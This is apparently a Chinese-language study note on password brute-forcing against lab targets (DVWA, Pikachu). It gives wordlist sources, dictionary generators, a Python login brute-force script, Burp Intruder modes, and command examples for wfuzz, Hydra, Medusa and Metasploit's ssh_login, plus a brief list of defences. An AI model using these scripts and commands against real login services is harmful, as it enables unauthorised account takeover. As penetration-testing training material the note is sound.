密码的暴力破解
密码的利用
1、加密
2、完整性
3、身份认证(口令)
密码安全
1、存储安全
2、传输安全
3、输入安全(登录界面)
常用弱口令统计网站:
https://nordpass.com/most-common-passwords-list/ (有国家分类)
检测个人密码有没有泄露的网站:
https://haveibeenpwned.com
密码猜解的思路
先猜解密码长度范围 (注册界面存在密码限制)
密码内容 (字典,暴力破解)
缩小范围:0-9 a-z A-Z !@#$%^&*
字典
通用字典
Kali自带
kali中字典在/usr/share/wordlists/中
网络下载
https://github.com/xjrelc/Blasting_dictionary
https://github.com/TgeaUs/Weak-password
https://github.com/fuzz-security/SuperWordlist
https://github.com/k8gege/PasswordDic
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/Ifonly-go2019/FuzzDict
https://github.com/ppbibo/PentesterSpecialDict
https://github.com/huyuanzhi2/password_brute_dictionary
https://weakpass.com/download
其他的建议在github搜索:字典、dict、wordlist之类的关键词
专用字典
1、指定格式字典
比如生日、手机号、QQ号
kali内自带的字典生成工具crunch,使用方法:
crunch <min> <max> //最小长度-最大长度
crunch -h
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TBvlNtoj-1690510226502)(C:\Users\xgren\AppData\Roaming\Typora\typora-user-images\image-20230726213213534.png)]
2、社工字典
kali自带cupp工具
可以通过输入个人信息来自动生成社工字典
中文生成社工字典工具:ccupp
在线网站:https://bugku.com/mima/
3、文章内容字典
kali内使用 cewl https://sqlmap.org -w dict.txt 命令来检索目标网站内容并切割单词生成字典
python实现暴力破解
httpconn:
# -*- coding: utf-8 -*-
# python 3
import requests
# 如果第一个密码就提示成功,是 PHPSESSID 没有替换的问题
pwds = open("password.txt")
for pwd in pwds:
url = "http://localhost/dvwa/vulnerabilities/brute/"
# PHPSESSID务必替换为登录以后的PHPSESSID
resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=himu84h1ia6vsvklt76c9juhqd"})
#print(resp.text)
if 'Username and/or password incorrect.' in resp.text:
print('破解失败:'+pwd, end='')
else:
print('破解成功:'+pwd, end='')
break;
pwds.close()
readpass:
# -*- coding: utf-8 -*-
# python 3
pwds = open("password.txt")
for pwd in pwds:
print(pwd)
pwds.close()
需在python3环境中运行
打的是DVWA靶场,固定了用户名猜解密码,先运行readpass读取密码,再运行httpconn进行猜解。
burpsuite暴力破解
- 先抓包,
- 使用intruder模块
- 把抓的包发给intruder模块,然后标记爆破名,选择模式,然后进行攻击字段的设置
- 最后可以使用多个类型进行攻击,然后可以载入字典等,接着可以对字典进行处理,可以进行加密等处理(payload processing)
- 然后可以设置线程(resource pool),默认是10个线程
- 最后可以开始攻击
- 最后看响应长度判断
附:
第二个模式:Battering ram模式,标记的所有的爆破名使用同一密码等进行攻击
第三个模式:pitchfork模式,按不同字段可以使用不同的字典,但是顺序固定,有token的时候使用,可以在token字段标记,然后使用recursive grep规则,然后使用options里面的grep extract里面设置add添加规则选定token值添加规则,告诉bp这个就是我的token值所在位置
第四个模式:Cluster bomb模式,按不同字段使用不同字典,字典的按不同组合的形式攻击爆破
密码猜解的防御手段
- sleep
- Token
- 限制尝试次数,锁定账户
- 二次验证
- reCAPTCHA(IP验证)
- 行为识别
- WAF
- 强制修改密码
- 取消密码登录
其他暴力破解工具
wfuzz工具:kali自带
用途:
- 1、猜参数
- 2、暴破密码
- 3、找出网站过滤的参数,比如SQL注入和XSS
- 4、目录扫描
- 5、压力测试
wfuzz -z file,user -z file,pass -d
"username=FUZZ&password=FUZ2Z&submit=login"
http://192.168.142.1/pikachu/vul/burteforce/bf_form.php
//第一个z是用户名,然后字典在user的文件里,第二个是密码,放在pass文件里,-d指定方式,第一个参数用FUZZ占位,第二个参数用FUZ2Z占位,然后指定url
Hydra(九头蛇):kali自带
https://github.com/vanhauser-thc/thc-hydra
支持:
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird,FTP,HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP- POST, HTTP-PROXY,HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET,HTTPS-HEAD, HTTPS-POST,HTTP-Proxy, ICQ, IMAP, IRC, LDAP,MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, OracleListener,Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3,POSTGRES,Radmin, RDP, Rexec, Rlogin,Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTPEnum, SNMP v1+v2+v3, SOCKS5,SSH (v1 and v2), SSHKEY, Subversion,Teamspeak (TS2), Telnet, VMware-Auth,VNC and XMPP
参数 | 解释 |
---|---|
-R | 恢复上次中断的会话 |
-I | 忽略之前的会话文件 |
-S | SSL连接 |
-s | 指定端口 |
-l | 用户名字典 |
-L | 用户名字典来源为文件 |
-p | 密码字典 |
-P | 密码字典来源为文件 |
-x | 密码生成 |
-y | 禁用字符 |
参数 | 解释 |
---|---|
-r | rainy mode |
-e | 循环测试用户名而不是密码 |
-C | 用户名和密码存储为一个文件时使用此参数。注意,文件格式必须为 “用户名:密码” 格式。 |
-M | 批量暴破 |
-o | 输出文件的名称 |
-b | 输出格式 |
-f | 爆破成功一个后停止爆破 |
-t | 指定爆破时的任务数量(可以理解为线程数),默认为 16 |
参数 | 解释 |
---|---|
-T | 总并发数 |
-w | 每个线程的连接之间的响应等待时间 |
-c | 所有线程单次登录等待时间 |
-4/-6 | 使用IPv4 / IPv6地址 |
-v | 显示爆破的详细信息 |
-O | 使用旧的SSL v2或v3版本 |
-q | 不打印有关连接错误的消息 |
-U | 服务模块使用详细信息 |
hydra -L user -P pass 192.168.25.132 ssh //指定用户名文件,指定密码文件,指定主机,指定协议
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
Medusa(美杜莎):kali自带
http://foofus.net/goons/jmk/medusa/medusa.html
支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP(NetWare),NNTP, PcAnywhere, POP3, PostgreSQL, rexec,rlogin, rsh, SMB, SMTP(AUTH/VRFY), SNMP, SSHv2, SVN,Telnet, VmAuthd, VNC
参数 | 解释 |
---|---|
-h | 主机名或者IP名 |
-H | 主机名或者IP名(文件) |
-u | 用户名 |
-U | 用户名(文件) |
-p | 密码 |
-P | 密码(文件) |
-C | 指定测试格式为"user:password"的字典 |
-O | 将输出结果保存在指定文件 |
-e | 额外的密码检测(n:空密码 s:用户名=密码) |
-M | 指定执行的模块(不带.mod扩展名) |
-m | 指定传递给模块的参数 |
-d | 查看支持破解的模块 |
-n | 指定非默认的TCP端口 |
-s | 启动SSL |
-g | 设置连接超时时间(默认值3) |
-r | 设置重试的次数(默认值3) |
-R | 重试次数 |
-c | 验证socket连接是否可用的等待时间 |
-t | 设置同时测试的登录总数 |
-T | 设置同时测试的主机总数 |
-L | 一个线程使用一个用户名 |
-f | 在破解得到第一个用户名或密码后停止扫描主机 |
-F | 当在任何主机上破解得到第一个用户名或密码后停止扫描 |
-b | 不显示软件启动时的版本信息 |
-q | 显示模块的使用信息 |
-v | 详细等级(0-6) |
-w | 错误调试等级(0-10) |
-V | 显示版本信息 |
-Z | 恢复中止的扫描 |
msf辅助模块
msfconsole //启动msf模块
use auxiliary/scanner/ssh/ssh_login //选择模式
set RHOSTS 192.168.142.66 //目标主机
set PASS_FILE /root/vuln/pass //写入密码
set USER_FILE /root/vuln/user //写入用户名
exploit
msf实在太强大了